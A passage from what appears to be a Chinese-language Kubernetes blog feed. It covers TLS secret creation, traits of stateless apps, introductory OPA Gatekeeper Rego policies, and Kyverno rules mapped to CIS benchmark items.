&lt;pre&gt;&lt;code class=&#34;language-text&#34;&gt;openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout tls.key -out tls.crt -subj &amp;quot;/CN=grafana.mysite.ru/O=MyOrganization&amp;quot;
kubectl -n myapp create secret tls selfsecret --key tls.key --cert tls.crt
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;相关链接&#34;&gt;相关链接&lt;/h2&gt;

&lt;p&gt;本文没什么结论，但是可以提供一个小列表，其中包含本文相关的有用链接。&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Kubernetes 官方文档：&lt;code&gt;https://kubernetes.io/docs/reference/kubectl/cheatsheet/&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Linux Academy 的入门参考：&lt;code&gt;https://linuxacademy.com/blog/containers/kubernetes-cheat-sheet/&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Blue Matador 分类整理的命令列表：&lt;code&gt;https://www.bluematador.com/learn/kubectl-cheatsheet&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;另一个命令指南，部分内容和本文重复：&lt;code&gt;https://gist.github.com/pydevops/0efd399befd960b5eb18d40adb68ef83&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;kubectl 别名搜集：&lt;a href=&#34;https://github.com/ahmetb/kubectl-aliases&#34; target=&#34;_blank&#34;&gt;https://github.com/ahmetb/kubectl-aliases&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
</description>
    </item>
    
    <item>
      <title>Kubernetes 无状态应用的一般特征</title>
      <link>/post/features-of-kubernetes-apps/</link>
      <pubDate>Mon, 07 Sep 2020 22:42:02 +0800</pubDate>
      <guid>/post/features-of-kubernetes-apps/</guid>
      <description>

&lt;p&gt;以 12 要素为代表的微服务标准，很好地给微服务的特征做出了指导。然而具体到以容器形式在 Kubernetes 上运行的无状态业务应用上，这个标准是有些高层的——它看重的是方法和架构。如果仅从外在视角来对一个“顺眼”的 Kubernetes 应用进行观察，这个应用应该有什么特征呢？&lt;/p&gt;

&lt;h2 id=&#34;依赖关系清晰&#34;&gt;依赖关系清晰&lt;/h2&gt;

&lt;p&gt;微服务应用通常会有各种外部依赖，例如数据库、缓存、队列等平台能力，或者业务上的依赖服务等，因此一个健康的微服务组合而成的应用，必须能处理好依赖关系。&lt;/p&gt;

&lt;p&gt;微服务的启动顺序不是固定的，并且存在独立更新、重启的可能。而很多应用仅在启动时进行连接，这就要求在 Kubernetes 上运行的应用，首先在启动时，不会因为暂时无法连接依赖服务直接崩溃；同时在运行期间，也有处理这种随时处理重连的能力。&lt;/p&gt;

&lt;h2 id=&#34;具备自检能力&#34;&gt;具备自检能力&lt;/h2&gt;

&lt;p&gt;存活检测关注的是进程是否活跃，是否应该重新启动；就绪检测代表的是服务能力，是否应该保存在 Service 的负载均衡池中。&lt;/p&gt;

&lt;p&gt;在没有设置就绪检测的情况下，Pod 一旦启动成功，K8s 就会把相关服务的请求发给该实例，如果这个实例启动较慢，就有可能对业务造成损失。同理，存活和就绪检测应该分别进行，例如业务阻塞时，暂时将实例摘除，但是无需重启，即可逐步恢复服务能力。&lt;/p&gt;

&lt;p&gt;联系到前面的依赖关系问题，在微服务环境中，一个服务的就绪检测应该仅仅关注本应用的情况，检测过程中不应包含对依赖服务的调用——否则所有依赖故障服务的其它服务的就绪检查失败，造成大面积故障。&lt;/p&gt;

&lt;h2 id=&#34;日志采集和处理&#34;&gt;日志采集和处理&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;应用不应继续把日志输出到本地文件，而应该输出到 &lt;code&gt;stdout&lt;/code&gt; 和 &lt;code&gt;stderr&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;集群应该针对容器的 &lt;code&gt;stdout&lt;/code&gt;、&lt;code&gt;stderr&lt;/code&gt; 提供统一的日志采集，建议使用 Daemonset 而非 Sidecar；&lt;/li&gt;
&lt;li&gt;进行日志采集的同时，集群应提供 ES、Loki 或其它类似机制来对日志进行处理，并且其处理和存储能力应该有初步预案；&lt;/li&gt;
&lt;li&gt;应用日志应提供分级开关，保证同一镜像在不同环境中可以输出不同数量和级别的日志信息。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;尽量优雅关停&#34;&gt;尽量优雅关停&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;容器命令入口应该有能力接收 &lt;code&gt;SIGTERM&lt;/code&gt;，并在需要的情况下传递给业务主进程；&lt;/li&gt;
&lt;li&gt;应用进程接收到 &lt;code&gt;SIGTERM&lt;/code&gt; 信号之后，不应立刻关停，而是处理好剩余的在途业务；&lt;/li&gt;
&lt;li&gt;使用 &lt;code&gt;preStop&lt;/code&gt; 等 Pod 生命周期手段来完成特定任务；&lt;/li&gt;
&lt;li&gt;避免使用长连接，保持简单负载均衡的有效性。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;故障预防和应对&#34;&gt;故障预防和应对&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;避免运行单 Pod 的 Deployment；&lt;/li&gt;
&lt;li&gt;使用 Pod 软亲和避免同 Deployment 中的不同 Pod 分布在同一节点上；&lt;/li&gt;
&lt;li&gt;遭遇不可恢复的故障，应该允许应用崩溃，由 K8s 重新启动；&lt;/li&gt;
&lt;li&gt;定义 PDB（Pod disruption budgets），告知 K8s 为应用提供最低 Pod 数量保障。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;资源使用&#34;&gt;资源使用&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;必须定义 CPU 和内存的 Requests；&lt;/li&gt;
&lt;li&gt;必须定义内存的 Limits；&lt;/li&gt;
&lt;li&gt;同一集群中的不同微服务，如果有不同 QoS 要求，应该定义不同的 &lt;code&gt;qosClass&lt;/code&gt;，避免被无差别驱逐。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;安全相关&#34;&gt;安全相关&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;应清晰掌握并声明应用运行所需的 Linux Capabiltiy；&lt;/li&gt;
&lt;li&gt;避免使用 Root 身份运行容器；&lt;/li&gt;
&lt;li&gt;使用只读的 RootFS，所有写入需求应该使用存储卷来完成；&lt;/li&gt;
&lt;li&gt;避免特权逃逸。&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>OPA Gatekeeper 几条入门策略</title>
      <link>/post/opa-gatekeeper-101/</link>
      <pubDate>Mon, 17 Aug 2020 01:13:16 +0800</pubDate>
      <guid>/post/opa-gatekeeper-101/</guid>
      <description>

&lt;p&gt;&lt;a href=&#34;https://github.com/open-policy-agent/gatekeeper&#34; target=&#34;_blank&#34;&gt;Gatekeeper&lt;/a&gt; 是基于 &lt;a href=&#34;https://github.com/open-policy-agent/opa&#34; target=&#34;_blank&#34;&gt;OPA（Open Policy Agent）&lt;/a&gt; 的一个 Kubernetes 策略解决方案。在之前的文章中说过，在 PSP/RBAC 等内置方案之外，在 Kubernetes 中还可以通过策略来实现一些额外的管理、安全方面的限制，本文将会从安装开始，介绍几条实用的小策略。&lt;/p&gt;

&lt;h2 id=&#34;安装篇&#34;&gt;安装篇&lt;/h2&gt;

&lt;p&gt;安装可以通过 &lt;code&gt;kubectl&lt;/code&gt; 来进行：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl apply -f https://raw.githubusercontent.com/open-policy-agent/gatekeeper/master/deploy/gatekeeper.yaml

namespace/gatekeeper-system created
......
gatekeeper-validating-webhook-configuration created
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;或者也可以使用 Helm（目前只支持 Helm 2）：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;helm repo add gatekeeper https://raw.githubusercontent.com/open-policy-agent/gatekeeper/master/charts/gatekeeper
helm install gatekeeper/gatekeeper --devel
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;策略简介&#34;&gt;策略简介&lt;/h2&gt;

&lt;p&gt;Gatekeeper 的策略通常是由两个资源对象组成的：Template 和 Constraint。&lt;/p&gt;

&lt;p&gt;Template：其定义分为两部分：&lt;code&gt;crd&lt;/code&gt; 和 &lt;code&gt;targets&lt;/code&gt;，&lt;code&gt;crd&lt;/code&gt; 的确是一个 CRD 定义，也就是说生成一个 Template CR 对象，会随之生成一个 CRD；&lt;code&gt;targets&lt;/code&gt; 则是一组 &lt;a href=&#34;https://www.openpolicyagent.org/docs/latest/policy-language/&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;rego&lt;/code&gt;&lt;/a&gt; 为主体的代码包——个人表示很反对这种 YAML 中加代码的粗暴行径。&lt;/p&gt;

&lt;p&gt;Contsraint：这个对象的定义来自于 Template 生成的 CRD，它负责为模板输出两种内容：其一是对 Kubernetes 资源对象的过滤，其二就是根据 CRD 定义，为 Template 提供输入参数。&lt;/p&gt;

&lt;h2 id=&#34;只允许特定用户名操作特定命名空间&#34;&gt;只允许特定用户名操作特定命名空间&lt;/h2&gt;

&lt;p&gt;在 &lt;code&gt;cluster-admin&lt;/code&gt; 成为缺省用户的情况下，我们希望限制特定用户在 Namespace 中的能力，例如下面的规则，会检查用户名前缀是否为命名空间名称：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: templates.gatekeeper.sh/v1beta1
kind: ConstraintTemplate
metadata:
  name: ns-user
spec:
  crd:
    spec:
      names:
        kind: ns-user
  targets:
    - target: admission.k8s.gatekeeper.sh
      rego: |
        package nsuser
        violation[{&amp;quot;msg&amp;quot;: msg}] {
          user_name = input.review.userInfo.username
          ns = input.review.object.metadata.namespace
          not startswith(user_name, ns)
          msg = sprintf(&amp;quot;User %v is denied.&amp;quot;, [user_name])
        }
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上面的代码有几个需要注意的：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;code&gt;metadata.name&lt;/code&gt; 要和 &lt;code&gt;spec.crd.spec.names.kind&lt;/code&gt; 一致&lt;/li&gt;
&lt;li&gt;规则顺序执行，使用 &lt;code&gt;startswith&lt;/code&gt; 函数判断输入内容里面的用户名和命名空间是否为前缀关系&lt;/li&gt;
&lt;li&gt;如果一致，则规则停止执行；如果不一致，则输出拒绝信息。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;声明了 Template 之后，使用 &lt;code&gt;kubectl apply -f&lt;/code&gt; 提交到集群。&lt;/p&gt;

&lt;p&gt;然后创建一个 &lt;code&gt;constraints&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: constraints.gatekeeper.sh/v1beta1
kind: ns-user
metadata:
  name: ns-user
spec:
  match:
    kinds:
      - apiGroups: [&amp;quot;&amp;quot;]
        kinds: [&amp;quot;ServiceAccount&amp;quot;]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里的 &lt;code&gt;kind&lt;/code&gt; 字段使用的就是前面模板生成的 CRD（所以 template 和 contsrint 同时创建的话，后者的创建过程可能失败）。在 &lt;code&gt;match&lt;/code&gt; 字段中，我们限制面向的是 ServiceAccount 对象，接下来测试一下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl create sa ab
Error from server ([denied by ns-user] User dustise@gmail.com is denied.): admission webhook &amp;quot;validation.gatekeeper.sh&amp;quot; denied the request: [denied by ns-user] User dustise@gmail.com is denied.

$ kubectl create sa sbac --kubeconfig=kubeconfig-defaultsa -n default
serviceaccount/sbac created

$ kubectl create deployment nginx --image=nginx
deployment.apps/nginx created
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上面可以看到，策略成功发挥作用，使用缺省用户无法创建 &lt;code&gt;sa&lt;/code&gt;，但是可以创建 &lt;code&gt;deployment&lt;/code&gt;，换用名为 &lt;code&gt;defaultsa&lt;/code&gt; 的用户，则能够创建成功。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;这里如果多做一点测试，会发现 &lt;code&gt;DELETE&lt;/code&gt; 操作是不受限制的，原因是 Gatekeeper 的 Webhook 配置去掉了对 &lt;code&gt;DELETE&lt;/code&gt; 的反应，可以 &lt;code&gt;kubectl edit ValidatingWebhookConfiguration gatekeeper-validating-webhook-configuration&lt;/code&gt; 进行编辑，在 &lt;code&gt;operations&lt;/code&gt; 字段中加入 &lt;code&gt;DELETE&lt;/code&gt; 元素。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;只允许特定镜像前缀&#34;&gt;只允许特定镜像前缀&lt;/h2&gt;

&lt;p&gt;如果在某集群中，我们要求仅适用内网仓库中的镜像，可以使用如下策略：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: templates.gatekeeper.sh/v1beta1
kind: ConstraintTemplate
metadata:
  name: imagecheck
spec:
  crd:
    spec:
      names:
        kind: imagecheck
      validation:
        openAPIV3Schema:
          properties:
            prefix:
              type: string
  targets:
    - target: admission.k8s.gatekeeper.sh
      rego: |
        package image
        violation[{&amp;quot;msg&amp;quot;: msg}] {
          containers = input.review.object.spec.template.spec.containers
                some i
                image := containers[i].image
                not startswith(image, input.parameters.prefix)
                msg := sprintf(&amp;quot;Image &#39;%v&#39; is not allowed.&amp;quot;, [image])
        }
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;相对前面的模板，这个模板复杂了一些：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;在 &lt;code&gt;spec.validation&lt;/code&gt; 字段中加入了一个字符串类型的属性，用这个属性作为参数，定义允许使用的容器前缀，使用 &lt;code&gt;input.parameters.prefix&lt;/code&gt; 的方式来引用参数。&lt;/li&gt;

&lt;li&gt;&lt;p&gt;有一行奇怪的代码 &lt;code&gt;some i&lt;/code&gt;，&lt;code&gt;some&lt;/code&gt;关键字声明了一个名为 &lt;code&gt;i&lt;/code&gt; 的变量，规则会使用变量 &lt;code&gt;i&lt;/code&gt; 对数组进行轮询，查找前缀不符合参数要求的镜像名称。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: constraints.gatekeeper.sh/v1beta1
kind: imagecheck
metadata:
name: imagecheck
spec:
match:
kinds:
  - apiGroups: [&amp;quot;apps&amp;quot;]
    kinds:
    - &amp;quot;Deployment&amp;quot;
    - &amp;quot;DaemonSet&amp;quot;
    - &amp;quot;StatefulSet&amp;quot;
parameters:
prefix: &amp;quot;dustise/&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;code&gt;Constraints&lt;/code&gt; 中注明，对 &lt;code&gt;Deployment&lt;/code&gt; 等三种对象进行校验，要求其镜像前缀为 &lt;code&gt;dustise/&lt;/code&gt;，下面我们进行一个测试：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl create deployment sleep --image=nginx
Error from server ([denied by imagecheck] Image &#39;nginx&#39; is not allowed.): admission webhook &amp;quot;validation.gatekeeper.sh&amp;quot; denied the request: [denied by imagecheck] Image &#39;nginx&#39; is not allowed.

$ kubectl create deployment sleep --image=dustise/sleep
deployment.apps/sleep created
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Nginx 镜像被禁止，而 dustise/sleep 镜像则成功创建。&lt;/p&gt;

&lt;h2 id=&#34;pod-必须具备资源限制&#34;&gt;Pod 必须具备资源限制&lt;/h2&gt;

&lt;p&gt;我们建议所有 Pod 都配置资源限制和请求，便于调度，也能预防系统资源滥用。下面的模板会遍历 Pod 定义，并对资源限制不完整的容器发出警告。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: templates.gatekeeper.sh/v1beta1
kind: ConstraintTemplate
metadata:
  name: resource-limit
spec:
  crd:
    spec:
      names:
        kind: resource-limit
  targets:
    - target: admission.k8s.gatekeeper.sh
      rego: |
        package limit
        resources_defined(x) {
          x.resources; x.resources.limits; x.resources.requests
        }
        violation[{&amp;quot;msg&amp;quot;: msg}] {
          ctr_list = input.review.object.spec.template.spec.containers
          some i
          ctr = ctr_list[i]
          not resources_defined(ctr)
          msg = sprintf(&amp;quot;%v containers without &#39;resource&#39; fields&amp;quot;, [ctr.name])
        }
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;模板文件中，我们定义了一个函数，分号分割的三个判断构成了逻辑与的关系，缺乏任何一个字段都会导致返回 &lt;code&gt;false&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;接下来创建类似的 Constraint 对象：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: constraints.gatekeeper.sh/v1beta1
kind: resource-limit
metadata:
  name: resource-limit
spec:
  match:
    kinds:
      - apiGroups: [&amp;quot;apps&amp;quot;]
        kinds:
        - &amp;quot;Deployment&amp;quot;
        - &amp;quot;DaemonSet&amp;quot;
        - &amp;quot;StatefulSet&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;再次创建 Deployment，会看到新的拒绝信息：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl create deployment sleep2 --image=dustise/sleep 
Error from server ([denied by resource-limit] sleep containers without &#39;resource&#39; fields): admission webhook &amp;quot;validation.gatekeeper.sh&amp;quot; denied the request: [denied by resource-limit] sleep containers without &#39;resource&#39; fields
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;如果创建下列代码所包含的 Deployment 对象，则会成功：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: apps/v1
kind: Deployment
metadata:
  labels:
    app: sleep
  name: sleep
spec:
  selector:
    matchLabels:
      app: sleep
  template:
    metadata:
      labels:
        app: sleep
    spec:
      containers:
      - image: dustise/sleep
        imagePullPolicy: Always
        name: sleep
        resources:
          limits:
            cpu: 100m
          requests:
            cpu: 100m
      dnsPolicy: ClusterFirst
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;小结&#34;&gt;小结&lt;/h2&gt;

&lt;p&gt;Rego 语法还是有点烦人的，好在官方源码中提供了一些样例和基本用途的代码库可以参考。另外也可以用 Rego Playground 进行在线调试，来编写稍微复杂一点的策略。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;我还是喜欢 Kyverno..&lt;/p&gt;
&lt;/blockquote&gt;
</description>
    </item>
    
    <item>
      <title>Kubernetes 为什么需要策略支持</title>
      <link>/post/why-k8s-needs-policy/</link>
      <pubDate>Wed, 29 Jul 2020 10:13:09 +0800</pubDate>
      <guid>/post/why-k8s-needs-policy/</guid>
      <description>

&lt;p&gt;Kubernetes 中内置了 RBAC、SecurityContext、PodSecurityPolicy 几个对象，用于为集群的运维和运营工作提供安全支持，那么为什么还要出现 Gatekeeper、Kyverno、Polaris 等策略系统呢？答案呼之欲出——不够用。首先看看几个内置手段的工作范围。&lt;/p&gt;

&lt;h2 id=&#34;rbac&#34;&gt;RBAC&lt;/h2&gt;

&lt;p&gt;这是一个最基础的访问控制手段，它的任务就是描述“谁”能把“什么”“怎么样”。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;谁&lt;/strong&gt;：这个主语通常指的是操作主体，在 RBAC 体系中，会在 &lt;code&gt;RoleBinding&lt;/code&gt; 或 &lt;code&gt;ClusterRoleBinding&lt;/code&gt; 的 &lt;code&gt;Subject&lt;/code&gt; 字段中进行指定，其取值范围包括 &lt;code&gt;user&lt;/code&gt;、&lt;code&gt;group&lt;/code&gt; 以及 &lt;code&gt;ServiceAccount&lt;/code&gt; 等。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;什么&lt;/strong&gt;：Kubernetes 中的对象，例如 &lt;code&gt;Pod&lt;/code&gt;、&lt;code&gt;Namespace&lt;/code&gt;、&lt;code&gt;NetworkPolicy&lt;/code&gt; 等，除此之外还包括对象的子对象，例如 &lt;code&gt;Pod&lt;/code&gt; 的 &lt;code&gt;logs&lt;/code&gt;、&lt;code&gt;exec&lt;/code&gt; 等。这个内容在 &lt;code&gt;Role&lt;/code&gt; 或者 &lt;code&gt;ClusterRole&lt;/code&gt; 的 &lt;code&gt;resources&lt;/code&gt; 字段中进行表达。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;怎么样&lt;/strong&gt;：允许特定用户对特定资源进行的操作，例如 &lt;code&gt;get&lt;/code&gt;、&lt;code&gt;create&lt;/code&gt; 和 &lt;code&gt;update&lt;/code&gt; 等，这个内容保存在 &lt;code&gt;Role&lt;/code&gt; 或者 &lt;code&gt;ClusterRole&lt;/code&gt; 对象的 &lt;code&gt;verbs&lt;/code&gt; 字段中。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;RBAC 相对来说是一个比较粗放的模型，实际工作中可能会有更复杂的需要，例如 &lt;code&gt;Pod&lt;/code&gt;、&lt;code&gt;NetworkPolicy&lt;/code&gt; 或者复杂 Operator 的 CRD，都是需要精细控制的。&lt;/p&gt;

&lt;h2 id=&#34;securitycontext&#34;&gt;SecurityContext&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;SecurityContext&lt;/code&gt; 负责定义 Pod 和容器的一些具体行为，可以直接在 Pod 中进行定义。&lt;/p&gt;

&lt;p&gt;注意 &lt;code&gt;SecurityContext&lt;/code&gt; 字段在容器和 Pod 两个级别都是存在的，
容器级别的对象类型为 &lt;code&gt;SecurityContext&lt;/code&gt;，其限制范围包括：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;allowPrivilegeEscalation&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;capabilities&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;privileged&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;procMount&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;readOnlyRootFilesystem&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;runAsGroup&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;runAsNonRoot&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;runAsUser&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;seLinuxOptions&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;windowsOptions&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;而 Pod 级别的对象类型为 &lt;code&gt;PodSecurityContext&lt;/code&gt;，其限制范围包括：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;fsGroup&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;fsGroupChangePolicy&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;runAsGroup&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;runAsNonRoot&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;runAsUser&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;seLinuxOptions&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;supplementalGroups&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sysctls&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;windowsOptions&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;podsecuritypolicy&#34;&gt;PodSecurityPolicy&lt;/h2&gt;

&lt;p&gt;PSP 像是 RBAC 的延伸，通过 &lt;code&gt;PodSecurityPolicy&lt;/code&gt; 对象定制 Pod 的安全规则，再借助 RBAC 的形式授权给用户，从而允许或者禁止特定用户/ServiceAccount 所创建的 Pod 的安全相关的能力。&lt;/p&gt;

&lt;p&gt;和前面两种措施不同，PSP 并不是开箱即用的，需要单独启用这个 AdmissionController。在启用之前要注意，PSP 除了需要显式启用，还需要进行显式授权，必须为当前集群中运行的所有 Pod 所属的 ServiceAccount 赋予合适的 PSP，才能启用该功能，否则会造成大量的系统 Pod 无法正常运行。&lt;/p&gt;

&lt;p&gt;PSP 基本覆盖了 SecurityContext 的各项能力，除此之外还加入了一些特技：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;hostPID、hostIPC&lt;/li&gt;
&lt;li&gt;hostNetwork、hostPorts&lt;/li&gt;
&lt;li&gt;allowedHostPaths&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;和可以自由发挥的 SecurityContext 相比，PSP 具备更多能力，也具备更大的强制性，可能会对既有集群上的业务造成一定影响，需要慎重使用。&lt;/p&gt;

&lt;h2 id=&#34;工作负载安全&#34;&gt;工作负载安全&lt;/h2&gt;

&lt;p&gt;根据前面的了解，我们借助 Kubernetes 自有的安全设置能力，已经能够对工作负载进行很多有助于提高安全性的设置，这是否足够了呢？其实是存在一些漏洞的，例如管理需要，我们要求必须提供资源限制，可以使用如下的的 Kyverno 策略：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: check-cpu-memory
spec:
  validationFailureAction: enforce
  rules:
    - name: check-pod-resources
      match:
        resources:
          kinds:
            - Pod
      validate:
        message: &amp;quot;CPU and memory resource requests and limits are required&amp;quot;
        pattern:
          spec:
            containers:
              - name: &amp;quot;*&amp;quot;
                resources:
                  limits:
                    memory: &amp;quot;?*&amp;quot;
                    cpu: &amp;quot;?*&amp;quot;
                  requests:
                    memory: &amp;quot;?*&amp;quot;
                    cpu: &amp;quot;?*&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;用类似的手法，还可以检查标签、标注等是否合规。&lt;/p&gt;

&lt;p&gt;参考 &lt;code&gt;CIS Kubernetes Benchmark (v151)&lt;/code&gt;，考虑以下几个要求：&lt;/p&gt;

&lt;h3 id=&#34;5-1-1-ensure-that-the-cluster-admin-role-is-only-used-where-required&#34;&gt;5.1.1 Ensure that the cluster-admin role is only used where required&lt;/h3&gt;

&lt;p&gt;这是一个不计分项目，确保仅在必要时使用 &lt;code&gt;cluster-admin&lt;/code&gt; 身份（例如 kubeadm 生成的缺省 kubeconfig 文件）。下面的 Kyverno 规则可以用于制止 &lt;code&gt;cluster-admin&lt;/code&gt; 身份的用户创建 &lt;code&gt;deployment&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion : kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: deny-cluster-admin
spec:
  validationFailureAction: enforce
  background: false
  rules:
  - name: deny-cluster-admin
    match:
      resources:
        kinds:
        - Deployment
      namespace: default
      clusterroles:
      - cluster-admin
    validate:
      message: &amp;quot;cluster-admin is denied&amp;quot;
      deny: {}
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;5-2-4-minimize-the-admission-of-containers-wishing-to-share-the-host-network-namespace-scored&#34;&gt;5.2.4 Minimize the admission of containers wishing to share the host network namespace (Scored)&lt;/h3&gt;

&lt;p&gt;在没有启用 PSP 的情况下，可以用如下策略完成这个限制：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: check-hostnetwork
spec:
  validationFailureAction: enforce
  background: false
  rules:
  - name: check-hostnetwork
    match:
      resources:
        kinds:
        - Deployment
    validate:
      message: &amp;quot;Hostnetwork is not allowed&amp;quot;
      pattern:
        spec:
          template:
            spec:
              =(hostNetwork): &amp;quot;!true&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;5-5-1-configure-image-provenance-using-imagepolicywebhook-admission-controller&#34;&gt;5.5.1 Configure Image Provenance using ImagePolicyWebhook admission controller&lt;/h3&gt;

&lt;p&gt;又一个不计分，但是个人认为很有用的规则，例如特定命名空间内，只会运行同样来源的镜像：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion : kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: image-prefix
spec:
  validationFailureAction: enforce
  background: false
  rules:
  - name: image-prefix
    match:
      resources:
        kinds:
        - Deployment
      namespace: default  
    validate:
      message: &amp;quot;Registry is not allowed&amp;quot;
      pattern:
        spec:
          template:
            spec:
              containers:
              - name: &amp;quot;*&amp;quot;
                image: &amp;quot;trust-me/*&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
</description>
    </item>
    
    <item>
      <title>针对 Kubernetes 工作负载的策略工具</title>
      <link>/post/kubernetes-policies/</link>
      <pubDate>Thu, 16 Jul 2020 08:35:47 +0800</pubDate>
      <guid>/post/kubernetes-policies/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://learnk8s.io/kubernetes-policies&#34; target=&#34;_blank&#34;&gt;Enforcing policies and governance for Kubernetes workloads&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://echorand.me/&#34; target=&#34;_blank&#34;&gt;Amit Saha&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
